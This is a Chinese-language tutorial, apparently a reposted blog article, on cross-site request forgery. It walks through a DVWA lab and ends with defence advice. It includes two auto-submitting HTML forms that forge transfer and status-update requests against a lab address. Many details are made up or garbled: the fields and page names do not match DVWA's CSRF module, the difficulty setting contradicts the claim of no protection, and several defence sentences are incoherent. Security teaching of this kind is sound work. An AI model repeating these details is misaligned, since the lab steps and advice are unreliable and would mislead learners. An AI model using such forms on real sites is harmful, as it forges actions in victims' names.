一、什麼是CSRF攻擊
跨站請求偽造(Cross-site request forgery,CSRF),也被稱為一次性攻擊,利用Web應用程序已經經過身份驗證的用戶的在線會話。一個惡意網站通過HTML、JavaScript等方法在用戶的瀏覽器端構造惡意請求,從而引導用戶完成一些他並不知情的操作,例如在銀行網站上以他的身份進行轉賬操作。
為了防範CSRF攻擊,應用程序必須採取措施來保證每個請求都是用戶的意願並避免被偽造。常見的措施包括Token驗證、Referer驗證、驗證碼等。
二、DVWA簡介
DVWA是一款用於安全測試的PHP/MySQL web應用程序。DVWA為「Damn Vulnerable Web Application」的縮寫,意思是「超級容易被攻擊的Web應用程序」,是一個合法的漏洞測評環境。
DVWA提供了包括SQL注入、XSS、CSRF、文件包含、文件上傳等多個漏洞測試,在安裝DVWA後,就可以對它進行測試,幫助用戶了解這些漏洞的作用以及如何防範。
三、DVWA CSRF攻擊實驗
在DVWA中,包含了一部分CSRF攻擊的示例。我們可以通過攻擊它們來了解CSRF攻擊的本質及其防護方案。
1.設置DVWA
先訪問DVWA,用管理員賬戶登陸。DVWA的攻擊等級有高、中、低,這裡選擇中等難度。
<input name="username" class="loginInput" id="username" tabindex="1"
type="text" value="" size="20" autocorrect="off" autocapitalize="off" />
<input name="password" class="loginInput" id="password" tabindex="2"
type="password" size="20" autocorrect="off" autocapitalize="off" />
2.CSRF攻擊實例1 – 轉賬操作
找到「CSRF防禦 – 獲取cookies」的頁面,獲取cookies字元串,然後拼接轉賬攻擊的HTML文件。攻擊文件通過iframe嵌入到惡意網站中。大多數web瀏覽器對iframe有限制,不能通過iframe直接更改頂層瀏覽器的URL,為了規避此限制,攻擊者通常會使用JavaScript提交表單。而此時,由於DVWA沒有加入任何CSRF防護機制,所以我們可以構造如下的表單:
<html>
<head>
</head>
<body>
<form action="http://192.168.111.129/vulnerabilities/csrf/" method="POST">
<input type="hidden" name="voucher" value="4fc908000001">
<input type="hidden" name="transferAmount" value="10">
<input type="submit" value="轉帳">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
3.CSRF攻擊實例2 – 更新狀態
找到「CSRF防禦 – 強制驗證」頁面,開發一個HTML文件提交攻擊請求:更新狀態。可以找到我們需要的用戶和驗證碼,通過構造如下表單提交請求,可以成功更新狀態:
<html>
<head>
</head>
<body>
<form action="http://192.168.111.129/vulnerabilities/csrf/" method="POST">
<input type="hidden" name="form" value="update" />
<input type="hidden" name="id" value="7" />
<input type="hidden" name="status" value="Enrolled" />
<input type="hidden" name="vtoken" value="9YX4C8BA731E8637A6BAFF7C033DA427" />
<input type="submit" value="Save Details" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
四、如何預防CSRF攻擊
1.使用Token驗證
使用Token驗證是當前最常用的防禦CSRF攻擊的方法。Token是Web應用程序為了限制客戶端請求的來源而引入的一種驗證方式。Token時刻都在變化,因此一個攻擊者無法準確地構造合適的請求。
Token驗證的方式大致有如下兩種:
- 將Token放入URL中的每個請求。可以是用相當的複雜性和義務處理Token的邏輯。
- 將Token放在HTTP協議的頭部,每個請求都帶有Token。適合複雜場景和RESTful API。
2.使用Referer驗證
但是,有一些客戶端顯示如何突破Referer來進行CSRF攻擊,使用Referer驗證是在伺服器端驗證HTTP Referer信息的合法性。Referer是一個用於標識HTTP請求來源如何到達現在請求的一部分信息。使用Referer驗證,可以在一定程度上避免CSRF攻擊。但需要注意的是,一些瀏覽器會禁用Referer頭部。在這種情況下,僅依賴專有Referer是不太可靠的,而且可能會導致一些諸如圖片、文件等資源的問題。
3.使用驗證碼
特別是在用戶和網站交互方式不是很頻繁的情況下,可以使用驗證碼。使用400回復驗證碼,可以保護用戶提交的數據和請求的情況,更好地保護用戶數據。
最後
CSRF攻擊的危害是很大的,攻擊者可以藉助這種攻擊手段突破Web應用程序的安全限制,實現很多惡意操作。為了更好的保護用戶數據和Web應用程序的安全,我們需要在編寫Web應用程序前考慮開發相關的安全機制,並且在運行應用程序時隨時檢查和更新安全事項。
原創文章,作者:HQTRQ,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/331414.html